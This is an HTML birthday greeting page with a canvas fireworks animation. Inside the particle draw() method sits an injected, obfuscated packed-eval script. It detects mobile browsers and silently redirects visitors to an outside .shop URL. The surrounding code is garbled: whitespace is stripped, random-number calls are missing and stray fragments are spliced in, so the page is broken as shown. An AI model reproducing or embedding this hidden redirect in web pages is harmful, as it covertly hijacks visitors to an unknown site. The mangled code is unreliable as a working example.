＜!DOCTYPEhtml＞
＜htmllang="zh-CN"＞
＜head＞
＜metacharset="UTF-8"＞
＜title＞To.ShiLin:HAPPYBIRTHDAY!!!＜/title＞
＜style＞
*{
margin:0;
padding:0;
box-sizing:border-box;
}
body{
width:100vw;
height:100vh;
overflow:hidden;
background:#081430;
background-image:radial-gradient(#102b600%,#050c20100%);
font-family:"MicrosoftYaHei",sans-serif;
display:flex;
align-items:center;
justify-content:center;
}
.text-box{
text-align:center;
z-index:2;
}
h1{
font-size:4rem;
color:#74c0ff;
text-shadow:0012px#409cff,0024px#2078ff;
margin-bottom:20px;
}
p{
font-size:1.8rem;
color:#b8e0ff;
text-shadow:008px#55aaff;
}
canvas{
position:absolute;
top:0;
left:0;
z-index:1;
}
＜/style＞
＜/head＞
＜body＞
＜canvasid="fireCanvas"＞＜/canvas＞
＜divclass="text-box"＞
＜h1＞To.ShiLin:HAPPYBIRTHDAY!!!＜/h1＞
＜p＞HAPPYBIRTHDAY＜/p＞
＜/div＞
＜script＞
constcanvas=document.getElementById("fireCanvas");
constctx=canvas.getContext("2d");
canvas.width=window.innerWidth;
canvas.height=window.innerHeight;
window.addEventListener('resize',()=＞{
canvas.width=window.innerWidth;
canvas.height=window.innerHeight;
})
classParticle{
constructor(x,y,color){
this.x=x;
this.y=y;
this.speedX=(()-0.5)*6;
this.speedY=(()-0.5)*6;
this.alpha=1;
this.color=color;
this.size=()*3+1;
this.gravity=0.05;
}
update(){
this.x+=this.speedX;
this.y+=this.speedY;
this.speedY+=this.gravity;
this.alpha-=0.012;
}
draw(){
ctx.save();
ctx.globalAlpha=this.alpha;
ctx.fillStyle=this.color;
ctx.beginPath();
ctx.arc(this.x,this.y,this.size,0,Math.PI*2);
ct
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17959954|214325||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
x.fill();
ctx.restore();
}
}
letparticles=[];
constblueColors=['#60b8ff','#3488ff','#9cd5ff','#2066ee','#b0e2ff'];
functioncreateFirework(x,y){
for(leti=0;i＜80;i++){
letc=blueColors[Math.floor(()*blueColors.length)];
particles.push(newParticle(x,y,c));
}
}
functionanimate(){
ctx.fillStyle="rgba(8,20,48,0.15)";
ctx.fillRect(0,0,canvas.width,canvas.height);
for(leti=particles.length-1;i＞=0;i--){
particles[i].update();
particles[i].draw();
if(particles[i].alpha＜=0){
particles.splice(i,1);
}
}
requestAnimationFrame(animate);
}
animate();
//自动发射烟花
setInterval(()=＞{
letrx=()*canvas.width;
letry=()*canvas.height*0.4;
createFirework(rx,ry);
},1200)
//点击屏幕额外触发烟花
canvas.onclick=(e)=＞{
createFirework(e.clientX,e.clientY);
}
＜/script＞
＜/body＞
＜/html＞